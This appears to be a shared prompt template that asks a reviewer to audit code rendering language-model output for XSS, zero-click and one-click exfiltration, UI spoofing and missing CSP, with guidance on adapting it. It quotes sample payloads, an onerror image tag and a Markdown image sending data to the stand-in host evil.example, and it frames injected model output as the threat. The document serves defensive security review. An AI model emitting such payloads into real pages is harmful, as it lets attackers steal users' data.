Review Code That Renders LLM Output for XSS, Image and Link Exfiltration, and UI Spoofing

You are reviewing code that takes text generated by a language model and displays it to users: a chat panel, an AI summary card, an agent transcript, or an email or notification built from model output. Treat the model's output as untrusted input, as you would text from an anonymous user, because retrieved documents and tool results can steer it.

I will paste the rendering code (Markdown parser setup, sanitizer config, the component that inserts HTML, and any Content-Security-Policy headers). Review it for these specific risks and nothing else:

1. Executable output: can raw HTML, event-handler attributes (onerror, onload), `javascript:` or `data:` URLs, SVG, or `<iframe>`/`<form>` tags reach the DOM? Check parser options (is inline HTML enabled?), sanitizer allowlists, and any place that bypasses sanitizing (innerHTML, dangerouslySetInnerHTML, v-html, |safe).
2. Zero-click exfiltration: can the output include an image or other auto-loading resource whose URL points to an arbitrary host? Is there a host allowlist? Is the hostname compared after real URL parsing, or by substring or suffix match?
3. One-click exfiltration: same question for links. Are bare URLs auto-linked? When a link is blocked, does the replacement text still print the full URL and its query string?
4. UI spoofing: are `style`, `class` or `id` attributes allowed, so output could draw a fake login box or collide with page elements?
5. Streaming: is each partial chunk sanitized separately and concatenated, rather than re-sanitizing the full buffer?
6. Backstop: does a CSP restrict img-src and script-src for the page or iframe that shows this output?
7. Other sinks: is the same output sent to email, chat integrations or exports without its own encoding?

For each finding, give: the file and line, a concrete model output string that would exploit it, what happens in the browser, and the smallest fix. Mark each finding Blocking or Non-blocking. If a risk is already handled, say so in one line and cite the code that handles it. Do not invent code you were not shown; if a relevant piece (for example the CSP) is missing from what I pasted, list it under "Need to see".

---

When to use it: before merging any change that adds or alters how model output is displayed, and when adding a new output destination such as email.

How to adapt it: name your framework (React, Vue, server templates) so the reviewer checks the right escape hatches. If your product has no private data in context, exfiltration findings drop in severity, but keep them; that tends to change.

Example input: a React component that calls `marked(text)` and passes the result to `dangerouslySetInnerHTML`, with no CSP shown.

Good output names specific risks, for example "Blocking: marked passes inline HTML through by default in this config; `<img src=x onerror=...>` executes. Fix: sanitize with an explicit tag allowlist." It then gives a concrete exfil string such as `![](https://evil.example/?d=...)`, and lists CSP under "Need to see". Weak output says "consider sanitizing user input" without a payload or a line number.

Sign in to upvote this prompt.